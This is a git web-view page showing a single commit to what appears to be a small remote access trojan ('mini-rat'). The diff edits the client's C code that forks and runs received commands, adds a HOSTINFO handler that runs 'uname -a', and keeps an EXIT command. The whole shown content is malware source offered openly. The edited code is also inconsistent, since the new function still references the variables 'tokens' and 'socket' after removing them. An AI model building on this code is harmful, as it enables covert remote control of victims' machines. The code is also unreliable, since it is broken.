summaryrefslogtreecommitdiff
path: root/client
diff options
context:
space:
mode:
authorDanny Holman <dholman@gymli.org>2023-09-13 11:25:47 -0500
committerDanny Holman <dholman@gymli.org>2023-09-13 11:25:47 -0500
commit75b24537215de0cbef21d68334129bad82a921b9 (patch)
tree6f0a48ec67d3a7444a5f1b71cc02eb657fec6105 /client
parentc5422c79e62f8a1417b60a3f22127396628efd10 (diff)
client: add error checking to system calls
Add error checking to execve and add cleanup calls so that no memory is leaked. Signed-off-by: Danny Holman <dholman@gymli.org>
Diffstat (limited to 'client')
-rw-r--r--client/src/mini-rat.c23
1 files changed, 19 insertions, 4 deletions
diff --git a/client/src/mini-rat.c b/client/src/mini-rat.c
index 53b91a5..9ceaa88 100644
--- a/client/src/mini-rat.c
+++ b/client/src/mini-rat.c
@@ -43,17 +43,31 @@ void run_exec(char **argv) {
const char** cargv = (const char**)argv;
pid_t pid = fork();
if (pid == 0) {
- execvp(argv[0], argv);
+ if (execvp(cargv[0], cargv) == -1) {
+ printf("ERROR IN EXEC\r\n");
+ fflush(stdout);
+ }
exit(0);
} else if (pid > 0) {
wait(NULL);
} else {
- send(socket, "ERROR EXECUTING COMMAND", 23, 0);
+ printf("ERROR IN FORK\r\n");
+ fflush(stdout);
}
}
-int handle_request(int socket, char *req) {
- char **tokens = str_split(req, "\r\n");
+void hostinfo(void) {
+ char **argv = malloc(sizeof(char*) * 3);
+ argv[0] = "uname";
+ argv[1] = "-a";
+ argv[2] = NULL;
+ run_exec(argv);
+ free(argv);
+}
+
+int handle_request(char *req) {
+ char **argv = NULL;
+ size_t count = str_split(&argv, req, " ");
if (strcmp(tokens[0], "HOSTINFO") == 0) {
hostinfo(socket);
@@ -63,6 +77,7 @@ int handle_request(int socket, char *req) {
} else if (strncmp(tokens[0], "EXIT", 4) == 0) {
return 1;
}
+ free(argv);
return 0;
}